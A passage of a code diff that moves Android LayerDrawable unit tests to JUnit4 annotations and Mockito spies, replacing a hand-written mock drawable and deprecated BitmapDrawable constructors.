         Drawable[] array = new Drawable[] { new ShapeDrawable(), new ShapeDrawable() };
         LayerDrawable layerDrawable = new LayerDrawable(array);
@@ -471,6 +468,7 @@
         assertEquals(padding0.bottom + padding1.bottom, rc.bottom);
     }
 
+    @Test
     public void testAccessPaddingMode() {
         Rect padding = new Rect();
         Drawable dr0 = new IntrinsicSizeDrawable(20, 30, new Rect(1, 2, 3, 4));
@@ -492,9 +490,9 @@
         assertEquals(new Rect(9, 8, 7, 6), padding);
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetVisible() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         assertTrue(layerDrawable.setVisible(false, true));
@@ -510,27 +508,29 @@
         assertTrue(layerDrawable.getDrawable(1).isVisible());
     }
 
+    @Test
     public void testSetDither() {
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.BLUE));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.BLACK));
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setDither(true);
-        assertTrue(mockDrawable1.hasCalledSetDither());
-        assertTrue(mockDrawable2.hasCalledSetDither());
+        verify(mockDrawable1, times(1)).setDither(anyBoolean());
+        verify(mockDrawable2, times(1)).setDither(anyBoolean());
 
-        mockDrawable1.reset();
-        mockDrawable2.reset();
+        reset(mockDrawable1);
+        reset(mockDrawable2);
         layerDrawable.setDither(false);
-        assertTrue(mockDrawable1.hasCalledSetDither());
-        assertTrue(mockDrawable2.hasCalledSetDither());
+        verify(mockDrawable1, times(1)).setDither(anyBoolean());
+        verify(mockDrawable2, times(1)).setDither(anyBoolean());
     }
 
+    @Test
     public void testSetHotspotBounds() {
         Rect bounds = new Rect(10, 15, 100, 150);
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = new ColorDrawable(Color.BLUE);
+        Drawable mockDrawable2 = new ColorDrawable(Color.GREEN);
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
@@ -540,10 +540,11 @@
         assertTrue(bounds.equals(outRect));
     }
 
+    @Test
     public void testGetHotspotBounds() {
         Rect bounds = new Rect(10, 15, 100, 150);
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = new ColorDrawable(Color.BLUE);
+        Drawable mockDrawable2 = new ColorDrawable(Color.GREEN);
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
@@ -553,88 +554,93 @@
         assertTrue(bounds.equals(outRect));
     }
 
+    @Test
     public void testSetAlpha() {
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.BLUE));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.BLACK));
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setAlpha(0);
-        assertTrue(mockDrawable1.hasCalledSetAlpha());
-        assertTrue(mockDrawable2.hasCalledSetAlpha());
+        verify(mockDrawable1, times(1)).setAlpha(anyInt());
+        verify(mockDrawable2, times(1)).setAlpha(anyInt());
 
-        mockDrawable1.reset();
-        mockDrawable2.reset();
+        reset(mockDrawable1);
+        reset(mockDrawable2);
         layerDrawable.setAlpha(Integer.MAX_VALUE);
-        assertTrue(mockDrawable1.hasCalledSetAlpha());
-        assertTrue(mockDrawable2.hasCalledSetAlpha());
+        verify(mockDrawable1, times(1)).setAlpha(anyInt());
+        verify(mockDrawable2, times(1)).setAlpha(anyInt());
     }
 
+    @Test
     public void testSetColorFilter() {
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.BLUE));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.BLACK));
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setColorFilter(new ColorFilter());
-        assertTrue(mockDrawable1.hasCalledColorFilter());
-        assertTrue(mockDrawable2.hasCalledColorFilter());
+        verify(mockDrawable1, times(1)).setColorFilter(any());
+        verify(mockDrawable2, times(1)).setColorFilter(any());
 
-        mockDrawable1.reset();
-        mockDrawable2.reset();
+        reset(mockDrawable1);
+        reset(mockDrawable2);
         layerDrawable.setColorFilter(null);
-        assertTrue(mockDrawable1.hasCalledColorFilter());
-        assertTrue(mockDrawable2.hasCalledColorFilter());
+        verify(mockDrawable1, times(1)).setColorFilter(any());
+        verify(mockDrawable2, times(1)).setColorFilter(any());
     }
 
+    @Test
     public void testAccessOpacity() {
         Drawable[] array = new Drawable[0];
         LayerDrawable layerDrawable = new LayerDrawable(array);
         assertEquals(PixelFormat.TRANSPARENT, layerDrawable.getOpacity());
 
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.BLUE));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.GREEN));
         array = new Drawable[] { mockDrawable1, mockDrawable2 };
         layerDrawable = new LayerDrawable(array);
         assertEquals(PixelFormat.OPAQUE, layerDrawable.getOpacity());
 
         layerDrawable = new LayerDrawable(array);
-        mockDrawable2.setOpacity(PixelFormat.TRANSPARENT);
+        doReturn(PixelFormat.OPAQUE).when(mockDrawable1).getOpacity();
+        doReturn(PixelFormat.TRANSPARENT).when(mockDrawable2).getOpacity();
         assertEquals(PixelFormat.TRANSPARENT, layerDrawable.getOpacity());
 
         layerDrawable = new LayerDrawable(array);
-        mockDrawable2.setOpacity(PixelFormat.TRANSPARENT);
-        mockDrawable1.setOpacity(PixelFormat.TRANSLUCENT);
+        doReturn(PixelFormat.TRANSLUCENT).when(mockDrawable1).getOpacity();
+        doReturn(PixelFormat.TRANSPARENT).when(mockDrawable2).getOpacity();
         assertEquals(PixelFormat.TRANSLUCENT, layerDrawable.getOpacity());
 
         layerDrawable = new LayerDrawable(array);
-        mockDrawable1.setOpacity(PixelFormat.TRANSLUCENT);
-        mockDrawable2.setOpacity(PixelFormat.UNKNOWN);
+        doReturn(PixelFormat.TRANSLUCENT).when(mockDrawable1).getOpacity();
+        doReturn(PixelFormat.UNKNOWN).when(mockDrawable2).getOpacity();
         assertEquals(PixelFormat.UNKNOWN, layerDrawable.getOpacity());
 
         layerDrawable = new LayerDrawable(array);
         layerDrawable.setOpacity(PixelFormat.OPAQUE);
-        mockDrawable1.setOpacity(PixelFormat.TRANSLUCENT);
-        mockDrawable2.setOpacity(PixelFormat.UNKNOWN);
+        doReturn(PixelFormat.TRANSLUCENT).when(mockDrawable1).getOpacity();
+        doReturn(PixelFormat.UNKNOWN).when(mockDrawable2).getOpacity();
         assertEquals(PixelFormat.OPAQUE, layerDrawable.getOpacity());
 
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testIsStateful() {
         Drawable[] array = new Drawable[0];
         LayerDrawable layerDrawable = new LayerDrawable(array);
         assertFalse(layerDrawable.isStateful());
 
-        array = new Drawable[] { new BitmapDrawable(), new MockDrawable(false) };
+        array = new Drawable[] { new GradientDrawable(), new MockDrawable(false) };
         layerDrawable = new LayerDrawable(array);
         assertFalse(layerDrawable.isStateful());
 
-        array = new Drawable[] { new BitmapDrawable(), new StateListDrawable() };
+        array = new Drawable[] { new GradientDrawable(), new StateListDrawable() };
         layerDrawable = new LayerDrawable(array);
         assertTrue(layerDrawable.isStateful());
     }
 
+    @Test
     public void testSetState() {
         MockDrawable mockDrawable1 = new MockDrawable(true);
         MockDrawable mockDrawable2 = new MockDrawable(true);
@@ -672,21 +678,23 @@
         assertTrue(mockDrawable2.hasCalledOnBoundsChange());
     }
 
+    @Test
     public void testJumpToCurrentState() {
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.BLUE));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.BLACK));
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
-        assertFalse(mockDrawable1.hasCalledJumpToCurrentState());
-        assertFalse(mockDrawable2.hasCalledJumpToCurrentState());
+        verify(mockDrawable1, never()).jumpToCurrentState();
+        verify(mockDrawable2, never()).jumpToCurrentState();
 
         layerDrawable.jumpToCurrentState();
 
-        assertTrue(mockDrawable1.hasCalledJumpToCurrentState());
-        assertTrue(mockDrawable2.hasCalledJumpToCurrentState());
+        verify(mockDrawable1, times(1)).jumpToCurrentState();
+        verify(mockDrawable2, times(1)).jumpToCurrentState();
     }
 
+    @Test
     public void testSetLevel() {
         MockDrawable mockDrawable1 = new MockDrawable();
         MockDrawable mockDrawable2 = new MockDrawable();
@@ -724,9 +732,10 @@
         assertTrue(mockDrawable2.hasCalledOnBoundsChange());
     }
 
+    @Test
     public void testSetBounds() {
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.GREEN));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.BLUE));
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
@@ -736,8 +745,16 @@
         Rect padding2 = new Rect(21, 32, 43, 54);
         layerDrawable.setLayerInset(0, inset1.left, inset1.top, inset1.right, inset1.bottom);
         layerDrawable.setLayerInset(1, inset2.left, inset2.top, inset2.right, inset2.bottom);
-        mockDrawable1.setPadding(padding1);
-        mockDrawable2.setPadding(padding2);
+        doAnswer(invocation -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(padding1);
+            return true;
+        }).when(mockDrawable1).getPadding(any());
+        doAnswer(invocation -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(padding2);
+            return true;
+        }).when(mockDrawable2).getPadding(any());
         layerDrawable.getPadding(new Rect());
 
         // the children's bounds before call onBoundsChange
@@ -766,23 +783,37 @@
                 mockDrawable2.getBounds().bottom);
     }
 
+    @Test
     public void testGetIntrinsicWidth() {
-        MockDrawable largeMockDrawable = new MockDrawable();
-        largeMockDrawable.setIntrinsicSize(10, 10);
-        MockDrawable smallMockDrawable = new MockDrawable();
-        smallMockDrawable.setIntrinsicSize(1, 1);
+        Drawable largeMockDrawable = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(10).when(largeMockDrawable).getIntrinsicWidth();
+        doReturn(10).when(largeMockDrawable).getIntrinsicHeight();
+        Drawable smallMockDrawable = spy(new ColorDrawable(Color.MAGENTA));
+        doReturn(1).when(smallMockDrawable).getIntrinsicWidth();
+        doReturn(1).when(smallMockDrawable).getIntrinsicHeight();
+
         Drawable[] array = new Drawable[] { largeMockDrawable, smallMockDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         assertEquals(largeMockDrawable.getIntrinsicWidth(), layerDrawable.getIntrinsicWidth());
 
         Rect inset1 = new Rect(1, 2, 3, 4);
         Rect inset2 = new Rect(2, 4, 6, 7);
-        Rect padding1 = new Rect(11, 22, 33, 44);
-        Rect padding2 = new Rect(21, 32, 43, 54);
+        final Rect padding1 = new Rect(11, 22, 33, 44);
+        final Rect padding2 = new Rect(21, 32, 43, 54);
         layerDrawable.setLayerInset(0, inset1.left, inset1.top, inset1.right, inset1.bottom);
         layerDrawable.setLayerInset(1, inset2.left, inset2.top, inset2.right, inset2.bottom);
-        largeMockDrawable.setPadding(padding1);
-        smallMockDrawable.setPadding(padding2);
+
+        doAnswer(invocation -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(padding1);
+            return true;
+        }).when(largeMockDrawable).getPadding(any());
+        doAnswer(invocation -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(padding2);
+            return true;
+        }).when(smallMockDrawable).getPadding(any());
+
         layerDrawable.getPadding(new Rect());
         assertEquals(smallMockDrawable.getIntrinsicWidth() + inset2.left
                 + inset2.right + padding1.left + padding1.right,
@@ -795,23 +826,37 @@
                 layerDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testGetIntrinsicHeight() {
-        MockDrawable largeMockDrawable = new MockDrawable();
-        largeMockDrawable.setIntrinsicSize(10, 10);
-        MockDrawable smallMockDrawable = new MockDrawable();
-        smallMockDrawable.setIntrinsicSize(1, 1);
+        Drawable largeMockDrawable = spy(new ColorDrawable(Color.CYAN));
+        doReturn(10).when(largeMockDrawable).getIntrinsicWidth();
+        doReturn(10).when(largeMockDrawable).getIntrinsicHeight();
+        Drawable smallMockDrawable = spy(new ColorDrawable(Color.DKGRAY));
+        doReturn(1).when(smallMockDrawable).getIntrinsicWidth();
+        doReturn(1).when(smallMockDrawable).getIntrinsicHeight();
+
         Drawable[] array = new Drawable[] { largeMockDrawable, smallMockDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         assertEquals(largeMockDrawable.getIntrinsicHeight(), layerDrawable.getIntrinsicHeight());
 
         Rect inset1 = new Rect(1, 2, 3, 4);
         Rect inset2 = new Rect(2, 4, 6, 7);
-        Rect padding1 = new Rect(11, 22, 33, 44);
-        Rect padding2 = new Rect(21, 32, 43, 54);
+        final Rect padding1 = new Rect(11, 22, 33, 44);
+        final Rect padding2 = new Rect(21, 32, 43, 54);
         layerDrawable.setLayerInset(0, inset1.left, inset1.top, inset1.right, inset1.bottom);
         layerDrawable.setLayerInset(1, inset2.left, inset2.top, inset2.right, inset2.bottom);
-        largeMockDrawable.setPadding(padding1);
-        smallMockDrawable.setPadding(padding2);
+
+        doAnswer(invocation -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(padding1);
+            return true;
+        }).when(largeMockDrawable).getPadding(any());
+        doAnswer(invocation -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(padding2);
+            return true;
+        }).when(smallMockDrawable).getPadding(any());
+
         layerDrawable.getPadding(new Rect());
         assertEquals(smallMockDrawable.getIntrinsicHeight() + inset2.top
                 + inset2.bottom + padding1.top + padding1.bottom,
@@ -824,9 +869,9 @@
                 layerDrawable.getIntrinsicHeight());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetConstantState() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         ConstantState constantState = layerDrawable.getConstantState();
         assertNotNull(constantState);
@@ -838,11 +883,11 @@
         assertEquals(1, constantState.getChangingConfigurations());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testAddLayer() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { new GradientDrawable(), new ColorDrawable(Color.BLUE) };
         LayerDrawable layerDrawable = new LayerDrawable(array);
-        BitmapDrawable newDrawable = new BitmapDrawable();
+        GradientDrawable newDrawable = new GradientDrawable();
         int index = layerDrawable.addLayer(newDrawable);
 
         final int numLayers = layerDrawable.getNumberOfLayers();
@@ -850,12 +895,11 @@
         assertEquals(newDrawable, layerDrawable.getDrawable(index));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetDrawable() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
-        final int numLayers = layerDrawable.getNumberOfLayers();
         assertEquals(array[0], layerDrawable.getDrawable(0));
         assertEquals(array[1], layerDrawable.getDrawable(1));
         try {
@@ -865,9 +909,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testFindIndexByLayerId() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setId(0, 10);
@@ -878,9 +922,9 @@
         assertEquals(-1, layerDrawable.findIndexByLayerId(30));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetDrawable() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         BitmapDrawable newBitmapDrawable = new BitmapDrawable();
         ColorDrawable newColorDrawable = new ColorDrawable(Color.GREEN);
@@ -898,45 +942,45 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLeftPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
         assertEquals(10, layerDrawable.getLeftPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetTopPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
         assertEquals(11, layerDrawable.getTopPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetRightPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
         assertEquals(20, layerDrawable.getRightPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetBottomPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
         assertEquals(21, layerDrawable.getBottomPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetStartPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
@@ -945,9 +989,9 @@
         assertEquals(10, layerDrawable.getStartPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetEndPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
@@ -956,9 +1000,9 @@
         assertEquals(20, layerDrawable.getEndPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetPadding() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPadding(10, 11, 20, 21);
 
@@ -970,9 +1014,9 @@
         assertEquals(-1, layerDrawable.getEndPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetPaddingRelative() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable()};
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         layerDrawable.setPaddingRelative(10, 11, 20, 21);
 
@@ -984,9 +1028,9 @@
         assertEquals(-1, layerDrawable.getRightPadding());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerGravity() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerGravity(0, Gravity.CENTER);
@@ -1001,9 +1045,9 @@
         assertEquals(Gravity.NO_GRAVITY, layerDrawable.getLayerGravity(1));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerGravity() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerGravity(0, Gravity.CENTER);
@@ -1018,9 +1062,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerWidth() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerWidth(0, 100);
@@ -1035,9 +1079,9 @@
         assertEquals(200, layerDrawable.getLayerWidth(1));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerWidth() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerWidth(0, 100);
@@ -1052,9 +1096,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerHeight() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerHeight(0, 100);
@@ -1069,9 +1113,9 @@
         assertEquals(200, layerDrawable.getLayerHeight(1));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerHeight() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerHeight(0, 100);
@@ -1086,9 +1130,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerSize() {
-        Drawable[] array = new Drawable[]{new BitmapDrawable(), new ColorDrawable(Color.BLUE)};
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setLayerSize(0, 100, 200);
@@ -1105,12 +1149,14 @@
         assertEquals(400, layerDrawable.getLayerHeight(1));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetRelative() {
-        MockDrawable firstLayer = new MockDrawable();
-        firstLayer.setIntrinsicSize(10, 10);
-        MockDrawable secondLayer = new MockDrawable();
-        secondLayer.setIntrinsicSize(-1, -1);
+        Drawable firstLayer = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(10).when(firstLayer).getIntrinsicWidth();
+        doReturn(10).when(firstLayer).getIntrinsicHeight();
+        Drawable secondLayer = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(-1).when(secondLayer).getIntrinsicWidth();
+        doReturn(-1).when(secondLayer).getIntrinsicHeight();
 
         Drawable[] array = new Drawable[] { firstLayer, secondLayer };
         LayerDrawable layerDrawable = new LayerDrawable(array);
@@ -1146,9 +1192,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetLeft() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1172,9 +1218,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerInsetLeft() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1195,9 +1241,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetTop() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1221,9 +1267,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerInsetTop() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1244,9 +1290,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetRight() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1270,9 +1316,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerInsetRight() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1293,9 +1339,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetBottom() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1319,9 +1365,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerInsetBottom() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1342,9 +1388,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetStart() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1368,9 +1414,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerInsetStart() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1391,9 +1437,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInsetEnd() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1418,9 +1464,9 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetLayerInsetEnd() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable() };
+        Drawable[] array = new Drawable[] { mBitmapDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // set inset for layer 0
@@ -1441,11 +1487,12 @@
         }
     }
 
+    @Test
     public void testChildIntrinsicSize() {
         LayerDrawable dr;
 
         // Ensure that a child with no intrinsic size correctly reports bounds.
-        dr = (LayerDrawable) getContext().getDrawable(R.drawable.layer_drawable_intrinsic);
+        dr = (LayerDrawable) mContext.getDrawable(R.drawable.layer_drawable_intrinsic);
         assertEquals(-1, dr.getIntrinsicWidth());
         assertEquals(-1, dr.getIntrinsicHeight());
 
@@ -1456,7 +1503,7 @@
         assertEquals(-1, dr.getIntrinsicHeight());
 
         // Ensure mixed children report bounds correctly as well.
-        dr = (LayerDrawable) getContext().getDrawable(R.drawable.layer_drawable_intrinsic_mixed);
+        dr = (LayerDrawable) mContext.getDrawable(R.drawable.layer_drawable_intrinsic_mixed);
         int width = dr.getLayerInsetLeft(0) + dr.getLayerInsetRight(0)
                 + dr.getDrawable(0).getIntrinsicWidth();
         int height = dr.getLayerInsetTop(0) + dr.getLayerInsetBottom(0)
@@ -1465,28 +1512,18 @@
         assertEquals(height, dr.getIntrinsicHeight());
     }
 
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of Drawable to track calls to protected methods. This class also has empty implementations
+    // of the base abstract methods. In addition, this class also updates its padding on every
+    // change in level or state.
     private static class MockDrawable extends Drawable {
-        private boolean mCalledSetDither = false;
-        private boolean mCalledSetAlpha = false;
-        private boolean mCalledColorFilter = false;
-
         private boolean mCalledSetState = false;
         private boolean mCalledOnLevelChange = false;
         private boolean mCalledOnBoundsChange = false;
-        private boolean mCalledJumpToCurrentState = false;
-
-        private boolean mCalledDraw = false;
 
         private boolean mIsStateful = false;
 
